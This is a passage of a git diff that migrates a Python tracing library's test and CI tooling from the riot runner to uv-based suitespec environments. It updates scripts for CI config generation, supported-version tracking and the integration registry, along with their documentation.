INTEGRATION_TO_DEPENDENCY_MAPPING: - return False +def _all_test_environments() -> tuple[TestEnvironment, ...]: + return tuple( + environment for environments in get_test_environments(nightly=False).values() for environment in environments + ) - for dependency in INTEGRATION_TO_DEPENDENCY_MAPPING[integration]: - if dependency in lockfile_content: - return True - return False +def _get_test_environments_including_any(contrib_modules: set[str]) -> tuple[TestEnvironment, ...]: + return tuple( + environment for environment in _all_test_environments() if environment.name.split(":", 1)[0] in contrib_modules + ) def _get_updatable_packages_implementing(contrib_modules: set[str]) -> set[str]: - """Return all integrations that can be updated""" - all_venvs = riotfile.venv.venvs # type: ignore[attr-defined] - all_venvs = _propagate_venv_names_to_child_venvs(all_venvs) - + """Return integrations with an environment that tracks their latest dependency.""" packages_setting_latest = set() - - def recurse_venvs(venvs: list[Any]): - for venv in venvs: - # split venv name by ":" since some venvs are named after the integration:subintegration - package = venv.name.split(":")[0] if venv.name is not None else venv.name - # Check if the package name is an integration as all contrib venvs are named after the integration - if package not in contrib_modules: - continue - if not _venv_sets_latest_for_package(venv, package) and package not in packages_setting_latest: - pinned_packages.add(package) - else: - packages_setting_latest.add(package) - if package in pinned_packages: - pinned_packages.remove(package) - recurse_venvs(venv.venvs) - - recurse_venvs(all_venvs) - - packages = {m for m in contrib_modules if "." not in m and m not in pinned_packages} - return packages - - -def _propagate_venv_names_to_child_venvs(all_venvs: list[Any]) -> list[Any]: - """ - Propagate the venv name to child venvs, since most child venvs in riotfile are unnamed. Since most contrib - venvs are nested within each other, we will get a consistent integration name for each venv / child venv. Also - lowercase the package names to ensure consistent lookups. - """ - - def _lower_pkg_names(venv: Any): - venv.pkgs = {k.lower(): v for k, v in venv.pkgs.items()} - - for venv in all_venvs: - _lower_pkg_names(venv) - if venv.venvs: - for child_venv in venv.venvs: - child_venv.name = venv.name - - return all_venvs + for environment in _all_test_environments(): + integration = environment.name.split(":", 1)[0] + if integration not in contrib_modules: + continue + dependencies = { + dependency.lower() for dependency in INTEGRATION_TO_DEPENDENCY_MAPPING.get(integration, {integration}) + } + for value in environment.direct_dependencies: + requirement = Requirement(value) + if requirement.name.lower() in dependencies and not requirement.specifier: + packages_setting_latest.add(integration) + break + return {package for package in packages_setting_latest if "." not in package} def _parse_pypi_upload_time(upload_timestamp: str) -> Optional[dt.datetime]: @@ -248,58 +213,16 @@ def _get_version_extremes(contrib_module: str) -> tuple[Optional[str], Optional[ return earliest_within_window, latest_after_cooldown -def _get_riot_hash_to_venv_name() -> dict[str, str]: - """Get a mapping of riot hash to venv name.""" - import re - - import riot - - ctx = riot.Session.from_config_file("riotfile.py") - old_stdout = sys.stdout - result = StringIO() - sys.stdout = result - - try: - pattern = re.compile(r"^.*$") - venv_pattern = re.compile(r"^.*$") - ctx.list_venvs(pattern=pattern, venv_pattern=venv_pattern, pipe_mode=True) - output = result.getvalue() - finally: - sys.stdout = old_stdout - - hash_to_name = {} - for line in output.splitlines(): - match = re.match(r"\[#\d+\]\s+([a-f0-9]+)\s+(\S+)", line) - if match: - venv_hash, venv_name = match.groups() - hash_to_name[venv_hash] = venv_name.lower() - return hash_to_name - - -def _get_package_versions_from( - env: str, contrib_modules: set[str], riot_hash_to_venv_name: dict[str, str] -) -> list[tuple[str, str]]: +def _get_package_versions_from(environment: TestEnvironment, contrib_modules: set[str]) -> list[tuple[str, str]]: """Return the list of package versions that are tested, related to the modules""" - lockfile_content = pathlib.Path(f".riot/requirements/{env}.txt").read_text().splitlines() + if environment.lockfile is None: + return [] + lockfile_content = environment.lockfile.read_text().splitlines() lock_packages = [] - integration = None - dependencies: set[str] = set() - if riot_hash_to_venv_name.get(env): - venv_name = riot_hash_to_venv_name[env].split(":")[0] - - def get_integration_and_dependencies(venv_name: str) -> tuple[Optional[str], set[str]]: - if venv_name in contrib_modules: - integration = venv_name - dependencies = INTEGRATION_TO_DEPENDENCY_MAPPING.get(venv_name) or {integration} - return integration, dependencies - elif venv_name in DEPENDENCY_TO_INTEGRATION_MAPPING: - integration = DEPENDENCY_TO_INTEGRATION_MAPPING[venv_name] - dependencies = INTEGRATION_TO_DEPENDENCY_MAPPING[integration] - return integration, dependencies - else: - return None, set() - - integration, dependencies = get_integration_and_dependencies(venv_name) + integration = environment.name.split(":", 1)[0] + if integration not in contrib_modules and integration in DEPENDENCY_TO_INTEGRATION_MAPPING: + integration = DEPENDENCY_TO_INTEGRATION_MAPPING[integration] + dependencies = INTEGRATION_TO_DEPENDENCY_MAPPING.get(integration) or {integration} for line in lockfile_content: package, _, versions = line.partition("==") @@ -326,39 +249,6 @@ def _versions_fully_cover_bounds(bounds: tuple[str, str], versions: list[Version return versions[0] >= Version(upper_bound) -def _venv_sets_latest_for_package(venv: Any, suite_name: str) -> bool: - """ - Returns whether the Venv for the package uses `latest` or not. - DFS traverse through the Venv, as it may have nested Venvs. - - If the module name is in INTEGRATION_TO_DEPENDENCY_MAPPING, remap it. - """ - packages = INTEGRATION_TO_DEPENDENCY_MAPPING.get(suite_name, [suite_name]) - - for package in packages: - if package in venv.pkgs: - if LATEST in venv.pkgs[package]: - return True - - if venv.venvs: - for child_venv in venv.venvs: - if _venv_sets_latest_for_package(child_venv, package): - return True - return False - - -def _get_all_used_versions(envs, contrib_modules, riot_hash_to_venv_name) -> dict: - """ - Returns dict(module, set(versions)) for a venv, as defined from riot lockfiles. - """ - all_used_versions = defaultdict(set) - for env in envs: - versions_used = _get_package_versions_from(env, contrib_modules, riot_hash_to_venv_name) - for package, version in versions_used: - all_used_versions[package].add(version) - return all_used_versions - - def _get_version_bounds(contrib_modules: set[str]) -> dict: """ Return dict(module: (earliest, latest)) of the module from PyPI @@ -370,7 +260,7 @@ def _get_version_bounds(contrib_modules: set[str]) -> dict: return bounds -def output_outdated_packages(all_updatable_contribs, envs, bounds, riot_hash_to_venv_name): +def output_outdated_packages(all_updatable_contribs, environments, bounds): """ Output a list of package names that can be updated. """ @@ -381,8 +271,8 @@ def output_outdated_packages(all_updatable_contribs, envs, bounds, riot_hash_to_ bounds[contrib_module] = (earliest, latest) all_used_versions = defaultdict(set) - for env in envs: - versions_used = _get_package_versions_from(env, all_updatable_contribs, riot_hash_to_venv_name) + for environment in environments: + versions_used = _get_package_versions_from(environment, all_updatable_contribs) for pkg, version in versions_used: all_used_versions[pkg].add(version) @@ -402,11 +292,10 @@ def main(): parse_args() contribs = _get_contrib_modules() all_updatable_contribs = _get_updatable_packages_implementing(contribs) # MODULE names - riot_hash_to_venv_name = _get_riot_hash_to_venv_name() - envs = _get_riot_envs_including_any(contribs) + environments = _get_test_environments_including_any(contribs) bounds = _get_version_bounds(contribs) - output_outdated_packages(all_updatable_contribs, envs, bounds, riot_hash_to_venv_name) + output_outdated_packages(all_updatable_contribs, environments, bounds) if __name__ == "__main__": diff --git a/scripts/gen_gitlab_config.py b/scripts/gen_gitlab_config.py index e2d390c9d53..960c65f8c67 100755 --- a/scripts/gen_gitlab_config.py +++ b/scripts/gen_gitlab_config.py @@ -3,7 +3,6 @@ # /// script # requires-python = ">=3.9" # dependencies = [ -# "riot>=0.22.0", # "ruamel.yaml>=0.17.21", # "lxml>=4.9.0", # ] @@ -23,7 +22,6 @@ import hashlib import os import re -import subprocess import typing as t @@ -73,13 +71,13 @@ class JobSpec: only: t.Optional[set[str]] = None # ignored gpu: bool = False type: str = "test" # ignored - skip_pip_cache: bool = False + suite: t.Optional[str] = None python_versions: t.Optional[set[str]] = None def __str__(self) -> str: lines = [] - base = ".test_base_riot" + base = ".test_base" if self.gpu: base += "_gpu" if self.snapshot: @@ -91,7 +89,7 @@ def __str__(self) -> str: # Set stage lines.append(f" stage: {self.stage}") - # Jobs need build_base_venvs artifacts + # Base environment artifacts provide the native extensions for test jobs. lines.append(" needs:") lines.append(" - prechecks") if self.python_versions: @@ -128,26 +126,22 @@ def __str__(self) -> str: _nightly_build = _get_bool_env("NIGHTLY_BUILD") lines.append(" before_script:") lines.append(f" - !reference [{base}, before_script]") - lines.append(" - pip cache info") lines.append(f' - export NIGHTLY_BUILD="{_nightly_build}"') if wait_for: - lines.append(f" - riot -v run -s --pass-env wait -- {' '.join(wait_for)}") + wait_environment = "" + if "testagent" in wait_for: + wait_environment = 'DD_TRACE_AGENT_URL="http://testagent:9126" AGENT_VERSION="testagent" ' + lines.append( + f" - {wait_environment}uv run --no-project --python 3.9 --no-python-downloads " + "--with-requirements .uv/wait--wait-py39.txt --no-progress " + f"python tests/wait-for-services.py {' '.join(wait_for)}" + ) - env = self.env + env = dict(self.env or {}) if not env or "SUITE_NAME" not in env: - env = env or {} env["SUITE_NAME"] = self.pattern or self.name - - suite_name = env["SUITE_NAME"] - env["PIP_CACHE_DIR"] = "${CI_PROJECT_DIR}/.cache/pip" - env["PIP_CACHE_KEY"] = ( - subprocess.check_output([".gitlab/scripts/get-riot-pip-cache-key.sh", suite_name]).decode().strip() - ) - if not self.skip_pip_cache: - lines.append(" cache:") - lines.append(f" key: v1-pip-${'{PIP_CACHE_KEY}'}-{TESTRUNNER_IMAGE_HASH}-cache") - lines.append(" paths:") - lines.append(" - .cache") + env["TEST_SUITE"] = self.suite or self.name + env["UV_NO_CACHE"] = '"1"' lines.append(" variables:") for key, value in env.items(): @@ -181,6 +175,7 @@ class SuiteVenvInfo: # Module-level state: populated by gen_required_suites, consumed by gen_build_base_venvs _global_python_versions: set[str] = set() +_needs_base_venvs = True # Target minimum number of GitLab job instances for a CI run (used to scale up sparse runs) TARGET_JOBS = 200 @@ -189,51 +184,44 @@ class SuiteVenvInfo: ALL_PYTHON_VERSIONS = ["3.9", "3.10", "3.11", "3.12", "3.13", "3.14"] -def collect_all_suite_venv_info(suite_patterns: dict[str, str]) -> dict[str, SuiteVenvInfo]: - """Collect venv count and Python versions for multiple suites in a single pass. - - Iterates riotfile.venv.instances() once and matches each instance against all - suite patterns simultaneously, which is much more efficient than per-suite iteration. +def collect_all_suite_venv_info(suite_configs: dict[str, dict]) -> dict[str, SuiteVenvInfo]: + """Collect environment count and Python versions for multiple suites in a single pass. Args: - suite_patterns: mapping of suite name -> regex pattern string + suite_configs: mapping of suite name -> suite configuration Returns: mapping of suite name -> SuiteVenvInfo for suites that have matching venvs """ - # Importing will load/evaluate the whole riotfile.py - import riotfile - - compiled: dict[str, re.Pattern] = {} - for suite, pattern in suite_patterns.items(): - try: - compiled[suite] = re.compile(pattern) - except re.error: - LOGGER.warning("Invalid pattern for suite %s: %s", suite, pattern) - - venv_hashes: dict[str, set] = {s: set() for s in compiled} - python_versions: dict[str, set] = {s: set() for s in compiled} - - for inst in riotfile.venv.instances(): # type: ignore[attr-defined] - if not inst.name: - continue - hint = inst.py._hint # type: ignore[attr-defined] - for suite, regex in compiled.items(): - if inst.matches_pattern(regex): # type: ignore[attr-defined] - venv_hashes[suite].add(inst.short_hash) # type: ignore[attr-defined] - # Only collect properly versioned hints (e.g. "3.10"), skip bare "3" - if re.match(r"^3\.\d+$", hint): - python_versions[suite].add(hint) + from tests.suitespec import expand_suite_matrix + from tests.suitespec import get_matrix_defaults + + defaults = get_matrix_defaults() + environments_by_suite = { + suite: expand_suite_matrix( + suite, + config, + defaults, + nightly=os.environ.get("NIGHTLY_BUILD", "").lower() == "true", + ) + for suite, config in suite_configs.items() + } result: dict[str, SuiteVenvInfo] = {} - for suite in compiled: - if venv_hashes[suite]: + for suite, environments in environments_by_suite.items(): + if environments: result[suite] = SuiteVenvInfo( - venv_count=len(venv_hashes[suite]), - python_versions=python_versions[suite], + venv_count=len(environments), + python_versions={ + environment.python for environment in environments if re.match(r"^3\.\d+$", environment.python) + }, ) else: - LOGGER.warning("No riot venvs found for suite %s with pattern %s", suite, suite_patterns[suite]) + LOGGER.warning( + "No test environments found for suite %s with pattern %s", + suite, + suite_configs[suite].get("pattern", suite), + ) return result @@ -321,7 +309,7 @@ def _scale_suites( def gen_required_suites() -> None: """Generate the list of test and benchmark suites that need to be run.""" - import suitespec + from tests import suitespec suites = suitespec.get_suites() @@ -456,13 +444,13 @@ def _filter_benchmarks_slos_file(classnames: list) -> None: def _gen_tests(suites: dict, required_suites: list[str]) -> None: global _global_python_versions + global _needs_base_venvs suites = {k: v for k, v in suites.items() if v.get("type", "test") == "test"} required_suites = [a for a in required_suites if a in list(suites.keys())] # Copy the template file TESTS_GEN.write_text((GITLAB / "tests.yml").read_text()) - # Collect stages from suite configurations stages = {"setup"} # setup is always needed for suite_name, suite_config in suites.items(): @@ -491,8 +479,9 @@ def _gen_tests(suites: dict, required_suites: list[str]) -> None: # === PASS 1: Collect venv info for all non-skipped required suites === non_skipped = [s for s in required_suites if not suites[s].get("skip", False)] - suite_patterns = {s: suites[s].get("pattern", s) for s in non_skipped} - suite_venv_info = collect_all_suite_venv_info(suite_patterns) + suite_configs = {s: suites[s] for s in non_skipped} + suite_venv_info = collect_all_suite_venv_info(suite_configs) + _needs_base_venvs = bool(non_skipped) # Populate the module-level global so gen_build_base_venvs can use it _global_python_versions = set() @@ -542,6 +531,8 @@ def _gen_tests(suites: dict, required_suites: list[str]) -> None: suite_config = suites[suite].copy() stage = suite_config.pop("_stage", "core") clean_name = suite_config.pop("_clean_name", suite) + suite_config.pop("matrix", None) + suite_config["suite"] = suite py_versions = suite_venv_info[suite].python_versions if suite in suite_venv_info else None jobspec = JobSpec(clean_name, stage=stage, python_versions=py_versions, **suite_config) @@ -592,7 +583,7 @@ def gen_build_docs() -> None: print(" script:", file=f) print(" - |", file=f) print(" git config --global --add safe.directory $CI_PROJECT_DIR", file=f) - print(" riot -v run -s --pass-env build_docs", file=f) + print(" scripts/run-tests -s --suite build_docs --venv build-docs-py310", file=f) print(" mkdir -p /tmp/docs", file=f) print(" artifacts:", file=f) print(" paths:", file=f) @@ -649,6 +640,11 @@ def check(name: str, command: str, paths: set[str]) -> None: command="scripts/lint suitespec-check", paths={"*"}, ) + check( + name="Check test locks", + command="scripts/test-env check", + paths={"**/suitespec.yml", ".uv/*", "scripts/test-env", "tests/suitespec.py"}, + ) check( name="Check ddtrace error logs", command="scripts/lint error-log-check", @@ -746,6 +742,10 @@ def gen_build_base_venvs() -> None: Only builds venvs for the Python versions actually needed by the required suites, falling back to all supported versions when no venv info is available. """ + if not _needs_base_venvs: + LOGGER.info("Skipping base environments because no test suites were selected") + return + if _global_python_versions: py_versions = sorted(_global_python_versions) LOGGER.info("Building base venvs for Python versions: %s", py_versions) @@ -828,10 +828,9 @@ def gen_build_base_venvs() -> None: _testrunner_yaml = _ruamel_yaml.YAML().load((GITLAB / "testrunner.yml").read_text()) TESTRUNNER_IMAGE_HASH = hashlib.sha256(_testrunner_yaml["variables"]["TESTRUNNER_IMAGE"].encode()).hexdigest()[:16] -# Make the project root, scripts, and tests folders available for importing. +# Make the project root and scripts folders available for importing. sys.path.append(str(ROOT)) sys.path.append(str(ROOT / "scripts")) -sys.path.append(str(ROOT / "tests")) def template(name: str, **params): diff --git a/scripts/get_latest_version.py b/scripts/get_latest_version.py index 7d454dbf4f5..66737e818be 100644 --- a/scripts/get_latest_version.py +++ b/scripts/get_latest_version.py @@ -10,10 +10,10 @@ def normalize_to_pypi_name(name: str) -> str: - """Resolve a riot venv / integration name to its PyPI project name. + """Resolve a test suite or integration name to its PyPI project name. PyPI already normalizes ``-``/``_``/case per PEP 503, so the only cases - that actually need translating are the ones where the venv name and the + that actually need translating are the ones where the suite name and the PyPI project name are different words (e.g. ``asyncio`` -> ``pytest-asyncio``, ``azure_durable_functions`` -> ``azure-functions-durable``). Those live in ``scripts/integration_registry/mappings.py``. @@ -27,7 +27,7 @@ def normalize_to_pypi_name(name: str) -> str: if deps and len(deps) == 1: return next(iter(deps)) if deps and len(deps) > 1: - raise SystemExit(f"Venv '{name}' maps to multiple PyPI packages: {sorted(deps)}. Pass the exact PyPI name.") + raise SystemExit(f"Suite '{name}' maps to multiple PyPI packages: {sorted(deps)}. Pass the exact PyPI name.") return key diff --git a/scripts/iast/README b/scripts/iast/README index e442e8916cc..ab92b335caa 100644 --- a/scripts/iast/README +++ b/scripts/iast/README @@ -81,7 +81,7 @@ The valid traces of our C files, are like that: Have you been blessed by a Segmentation Fault? Have you got an error like...? ```sh -riot run --python=3.11 -r flask +scripts/run-tests --suite contrib::flask --venv .... tests/contrib/flask/test_blueprint.py ....... [ 9%] tests/contrib/flask/test_errorhandler.py ..... [ 15%] diff --git a/scripts/integration_registry/README.md b/scripts/integration_registry/README.md index eb38f7cb571..9694d5bf2b4 100644 --- a/scripts/integration_registry/README.md +++ b/scripts/integration_registry/README.md @@ -56,7 +56,7 @@ Each integration entry in the `integrations` list adheres to the schema defined The registry is automatically updated through two main mechanisms: 1. **Test Suite Execution**: - * Running a riot test suite for an integration automatically updates its version information in the registry (if updates are deemed necessary) + * Running an integration test suite automatically updates its version information when needed * This happens through the [`IntegrationRegistryManager`](../../../tests/contrib/integration_registry/registry_update_helpers/integration_registry_manager.py) which tracks patched dependencies and their tested versions during test execution 2. **Manual Update Script**: @@ -73,12 +73,12 @@ The registry is automatically updated through two main mechanisms: ***Registry Update Example (Incorrect Workflow)***: - Add support for new `integration_a`, including patch files and tests - - Manually run `python scripts/integration_registry/update_and_format_registry.py` WITHOUT running riot test suite for `integration_a`. + - Manually run `python scripts/integration_registry/update_and_format_registry.py` without running the test suite for `integration_a`. - **OUTCOME**: Existing integration and dependencies are updated, but the new `integration_a` and its dependencies will not be added to `registry.yaml`. ***Registry Update Example (Correct Workflow)***: - Add support for new `integration_a`, including patch files and tests - - Do a full riot test run of the newly added `integration_a` test suite. This is needed because we cannot reliably map dependency name to the integration name if they are not equal (such as integration == `rediscluster` and dependency name == `redis-py-cluster`). Instead, during the riot test suite run, we rely on collecting the patched module, along with the integration name via the [`IntegrationRegistryManager`](../../../tests/contrib/integration_registry/registry_update_helpers/integration_registry_manager.py). With the patched module, we can map the patched module to the dependency name using `importlib.metadata`, and in the `rediscluster` case, we get: `redis-py-cluster` as a dependency. Then we can update the registry since we now know the dependency name of interest, and the related integration name. + - Run the new `integration_a` suite. The test process collects patched modules through the [`IntegrationRegistryManager`](../../../tests/contrib/integration_registry/registry_update_helpers/integration_registry_manager.py), allowing names such as `rediscluster` to map to packages such as `redis-py-cluster`. - **OUTCOME**: After running our new test suite for `integration_a`, the new integration along with its dependencies are automatically added to `registry.yaml`. Existing integrations amd dependencies are also updated. **FURTHER-NOTE: [`IntegrationRegistryManager`](../../../tests/contrib/integration_registry/registry_update_helpers/integration_registry_manager.py#158) relies on the use of `_datadog_patch` to collect patched modules. Please ensure this attribute is set on the patched module within the integration's patch function. Here is an example for the `aiohttp` integration [`aiohttp patch.py`](../../../ddtrace/contrib/internal/aiohttp/patch.py#139)** @@ -89,7 +89,7 @@ When adding a new integration: 1. Create the integration directory and implementation in `ddtrace/contrib/internal/` - Ensure the patched module has `_datadog_patch=True`. The integration registry test code uses this attribute to determine which dependencies are patched, and that within the `patch()` function, the integration uses `getattr(module, '_datadog_patch') is True`. -2. Add tests and a corresponding riot test suite in [`riotfile.py`](../../../riotfile.py) +2. Add tests and a corresponding matrix in [`tests/contrib/suitespec.yml`](../../../tests/contrib/suitespec.yml) 3. Run the test suite - this will automatically: * Add the integration to the registry * Record its dependency information @@ -118,12 +118,12 @@ The registry has a test suite in [`tests/contrib/integration_registry/`](../../. * Reports detailed errors for missing or invalid packages * Ensures non-external integrations don't have dependency-related fields -* [`test_riotfile.py`](../../../tests/contrib/integration_registry/test_riotfile.py): - * Verifies every integration has corresponding test environments in `riotfile.py`: - * Checks that each integration directory has a matching riot environment +* [`test_suitespec.py`](../../../tests/contrib/integration_registry/test_suitespec.py): + * Verifies every integration has corresponding suitespec environments: + * Checks that each integration directory has a matching environment * Excludes explicitly untested integrations * Reports missing test environment definitions - * Validates test paths in riot environments: + * Validates test paths in declared environments: * Ensures test paths under `tests/contrib` correspond to actual integrations * Handles special cases for utility test environments * Verifies proper organization of integration-specific tests @@ -136,7 +136,7 @@ If you need to debug or manually run the integration registry update process, th 1. Navigate to the [code section containing the local run logic](tests/contrib/integration_registry/registry_update_helpers/integration_update_orchestrator.py#L175-L183). 2. Uncomment the Python code block as indicated and comment out the the lines previous that run the updater in a subprocess. -3. Ensure the required dependencies (`filelock`, `pyyaml`) are installed in the riot environment you are running. You need to temporarily add them to the relevant environment definition in `riotfile.py`. +3. Ensure `filelock` and `pyyaml` are present in the suite's dependency matrix. 4. Execute the test suite, and place a breakpoint in your choice of code for the `IntegrationRegistryUpdater`. ## Related Files @@ -155,7 +155,7 @@ If you need to debug or manually run the integration registry update process, th the tested version is outside the currently listed tested range. - Updates `registry.yaml` if necessary * [`IntegrationUpdateOrchestrator`](../../../tests/contrib/integration_registry/registry_update_helpers/integration_update_orchestrator.py) - - Builds a virtual environment to allow the integration registry updater process to run in another thread. Installs `riot` and `pyyaml` dependencies necessary for update. + - Builds a virtual environment for the integration registry updater and installs its `filelock` and `pyyaml` dependencies. - Runs `IntegrationRegistryUpdater` - Runs [`update_and_format_registry.py`](../../../scripts/integration_registry/update_and_format_registry.py) script if updates are deemed necessary. * Update Scripts: diff --git a/scripts/integration_registry/generate_supported_versions.py b/scripts/integration_registry/generate_supported_versions.py index 445d56becee..fbe9a40bb0a 100755 --- a/scripts/integration_registry/generate_supported_versions.py +++ b/scripts/integration_registry/generate_supported_versions.py @@ -5,7 +5,7 @@ # dependencies = [ # "packaging>=23.1,<24", # "pyyaml>=6,<7", -# "riot>=0.22.0", +# "ruamel.yaml>=0.17.21", # ] # /// import ast @@ -15,8 +15,8 @@ from pathlib import Path import re import sys -from typing import Any +from packaging.requirements import Requirement from packaging.version import Version @@ -25,25 +25,16 @@ from mappings import INTEGRATION_TO_DEPENDENCY_MAPPING # noqa: E402 -import riotfile # noqa: E402 +from tests.suitespec import TestEnvironment # noqa: E402 +from tests.suitespec import get_test_environments # noqa: E402 CONTRIB_INTERNAL_ROOT = PROJECT_ROOT / "ddtrace" / "contrib" / "internal" DDTRACE_MONKEY_PATH = PROJECT_ROOT / "ddtrace" / "_monkey.py" SUPPORTED_VERSIONS_PATH = PROJECT_ROOT / "supported_versions.json" -REQUIREMENTS_DIR = PROJECT_ROOT / ".riot" / "requirements" -# Allows to get the version of a depency in a riot requirement files when it is formatted -# like anyio==4.9.0 REQUIREMENT_RE = re.compile(r"^([A-Za-z0-9_.-]+)(?:\[[^\]]+\])?==([^;\s]+)") PYTHON_VERSION_RE = re.compile(r"^\d+\.\d+$") -LATEST = "" - - -@dataclass(frozen=True) -class RiotVenv: - name: str - python_version: str @dataclass(frozen=True) @@ -99,19 +90,6 @@ def get_patch_modules() -> dict[str, bool]: PATCH_MODULES = get_patch_modules() -def get_riot_hash_to_venvs() -> dict[str, RiotVenv]: - """Map each generated riot requirements hash to its riot venv metadata.""" - riot_venvs = {} - for instance in riotfile.venv.instances(): - if not instance.name: - continue - riot_venvs[instance.short_hash] = RiotVenv( - name=instance.name.lower(), - python_version=instance.py._hint, - ) - return riot_venvs - - def parse_locked_versions(requirements_path: Path) -> dict[str, str]: """Parse a generated requirements file into dependency names and locked versions.""" locked_versions = {} @@ -124,32 +102,28 @@ def parse_locked_versions(requirements_path: Path) -> dict[str, str]: def is_concrete_python_version(python_version: str) -> bool: - """Return whether a riot Python hint identifies one concrete major.minor runtime.""" + """Return whether a Python value identifies one concrete major.minor runtime.""" return PYTHON_VERSION_RE.match(python_version) is not None def collect_tested_versions() -> dict[str, dict[str, set[TestedVersion]]]: """Collect tested dependency versions by integration and Python version.""" tested_versions: dict[str, dict[str, set[TestedVersion]]] = defaultdict(lambda: defaultdict(set)) - riot_hash_to_venvs = get_riot_hash_to_venvs() - - for requirements_path in sorted(REQUIREMENTS_DIR.glob("*.txt")): - riot_hash = requirements_path.stem - riot_venv = riot_hash_to_venvs.get(riot_hash, None) - - if not riot_venv: - continue - - if not is_concrete_python_version(riot_venv.python_version): + environments = ( + environment + for suite_environments in get_test_environments(nightly=False).values() + for environment in suite_environments + ) + for environment in environments: + if not is_concrete_python_version(environment.python) or environment.lockfile is None: continue - - integration_name = riot_venv.name.split(":", 1)[0] + integration_name = environment.name.split(":", 1)[0] dependency_names = get_dependency_names(integration_name) found_dependency_version = False if dependency_names: - locked_versions = parse_locked_versions(requirements_path) + locked_versions = parse_locked_versions(PROJECT_ROOT / environment.lockfile) for dependency in dependency_names: version = locked_versions.get(dependency.lower()) if version: @@ -157,7 +131,7 @@ def collect_tested_versions() -> dict[str, dict[str, set[TestedVersion]]]: tested_versions[integration_name][dependency].add( TestedVersion( version=version, - python_version=riot_venv.python_version, + python_version=environment.python, ) ) @@ -165,7 +139,7 @@ def collect_tested_versions() -> dict[str, dict[str, set[TestedVersion]]]: tested_versions[integration_name][f"stdlib.{integration_name}"].add( TestedVersion( version="", - python_version=riot_venv.python_version, + python_version=environment.python, ) ) continue @@ -183,36 +157,29 @@ def _python_sort_key(python_version: str) -> tuple[int, ...]: return tuple(int(part) for part in python_version.split(".")) -def _venv_sets_latest_for_package(venv: Any, suite_name: str) -> bool: - packages = get_dependency_names(suite_name) or [suite_name] - venv_packages = {package.lower(): version for package, version in venv.pkgs.items()} - - for package in packages: - if package.lower() in venv_packages and LATEST in venv_packages[package.lower()]: +def _environment_sets_latest_for_package(environment: TestEnvironment, integration_name: str) -> bool: + packages = {package.lower() for package in get_dependency_names(integration_name) or [integration_name]} + for dependency in environment.direct_dependencies: + requirement = Requirement(dependency) + if requirement.name.lower() in packages and not requirement.specifier: return True - return any(_venv_sets_latest_for_package(child_venv, suite_name) for child_venv in venv.venvs) + return False def get_pinned_integrations(integration_names: set[str]) -> set[str]: - """Return integrations that do not have any riot venv setting the dependency to latest.""" + """Return integrations that do not have an environment testing the latest dependency.""" pinned_integrations = set() integrations_setting_latest = set() - - def recurse_venvs(venvs: list[Any], inherited_name: str | None = None) -> None: - for venv in venvs: - venv_name = (venv.name or inherited_name or "").lower() - integration_name = venv_name.split(":", 1)[0] - - if integration_name in integration_names: - if _venv_sets_latest_for_package(venv, integration_name): - integrations_setting_latest.add(integration_name) - pinned_integrations.discard(integration_name) - elif integration_name not in integrations_setting_latest: - pinned_integrations.add(integration_name) - - recurse_venvs(venv.venvs, venv_name) - - recurse_venvs(riotfile.venv.venvs) + for suite_environments in get_test_environments(nightly=False).values(): + for environment in suite_environments: + integration_name = environment.name.split(":", 1)[0] + if integration_name not in integration_names: + continue + if _environment_sets_latest_for_package(environment, integration_name): + integrations_setting_latest.add(integration_name) + pinned_integrations.discard(integration_name) + elif integration_name not in integrations_setting_latest: + pinned_integrations.add(integration_name) return pinned_integrations @@ -280,7 +247,7 @@ def build_supported_versions_entries(tested_versions_per_integration: dict[str, def main() -> None: - """Generate supported_versions.json from riot requirement lock files.""" + """Generate supported_versions.json from uv test locks.""" tested_versions_per_integration = collect_tested_versions() SUPPORTED_VERSIONS_PATH.write_text( json.dumps(build_supported_versions_entries(tested_versions_per_integration), indent=4) + "\n" diff --git a/scripts/integration_registry/registry_update_helpers/integration.py b/scripts/integration_registry/registry_update_helpers/integration.py index f50360be581..1c8c37609ca 100644 --- a/scripts/integration_registry/registry_update_helpers/integration.py +++ b/scripts/integration_registry/registry_update_helpers/integration.py @@ -87,7 +87,7 @@ def should_update(self, new_dependency_versions: dict) -> bool: return True return False - def update(self, updates: dict, update_versions: bool = False, riot_venv: Optional[str] = None) -> bool: + def update(self, updates: dict, update_versions: bool = False, test_suite: Optional[str] = None) -> bool: """Updates the integration with the new dependency versions.""" # skip if the integration is not an external package if not self.is_external_package: @@ -106,11 +106,11 @@ def update(self, updates: dict, update_versions: bool = False, riot_venv: Option changed = True # only update the dependency versions if: - # 1 - we are NOT running in a riot venv as this may be a local script run from: + # 1 - we are not running in a test suite, as this may be a local script run from: # `python scripts/integration_registry/update_and_format_registry.py` - # 2 - or if the riot venv is the same as the integration name, as this is a test suite run and + # 2 - or if the suite is the same as the integration name, as this is a test suite run and # we only update the integration being tested - if update_versions and (riot_venv is None or riot_venv == self.integration_name): + if update_versions and (test_suite is None or test_suite == self.integration_name): prev = self.tested_versions_by_dependency.copy() for dep_name in updates.keys(): dep_name_lower = dep_name.lower() diff --git a/scripts/integration_registry/registry_update_helpers/integration_registry_updater.py b/scripts/integration_registry/registry_update_helpers/integration_registry_updater.py index c7955fc2487..a56cbe7f163 100644 --- a/scripts/integration_registry/registry_update_helpers/integration_registry_updater.py +++ b/scripts/integration_registry/registry_update_helpers/integration_registry_updater.py @@ -107,10 +107,12 @@ def merge_data(self, new_dependency_versions: dict) -> tuple[int, int]: added_integrations += 1 continue else: - riot_venv = self._get_riot_venv_name() + test_suite = self._get_test_suite_name() # update the existing integration - changed = self.integrations[integration_name].update(updates, update_versions=True, riot_venv=riot_venv) + changed = self.integrations[integration_name].update( + updates, update_versions=True, test_suite=test_suite + ) if changed: updated_integrations += 1 @@ -151,11 +153,10 @@ def _delete_lock_file(self): except OSError as e: print(f"IntegrationRegistryUpdater: Failed to delete lock file: {e}", file=sys.stderr) - def _get_riot_venv_name(self): - """Returns the name of the riot venv if this is being run from a riot job.""" - if os.environ.get("RIOT_VENV_NAME"): - # split venv name for special cases like "django:celery" to "django" - return os.environ.get("RIOT_VENV_NAME").split(":")[0] + def _get_test_suite_name(self): + """Return the integration name when this runs inside a test suite.""" + if test_suite := os.environ.get("TEST_SUITE"): + return test_suite.split("::")[-1].split(":")[0] return None def run(self, input_file_path_str: str) -> bool: diff --git a/scripts/integration_registry/registry_update_helpers/integration_update_orchestrator.py b/scripts/integration_registry/registry_update_helpers/integration_update_orchestrator.py index 5049ee87a7e..269e8033c07 100644 --- a/scripts/integration_registry/registry_update_helpers/integration_update_orchestrator.py +++ b/scripts/integration_registry/registry_update_helpers/integration_update_orchestrator.py @@ -10,7 +10,7 @@ class 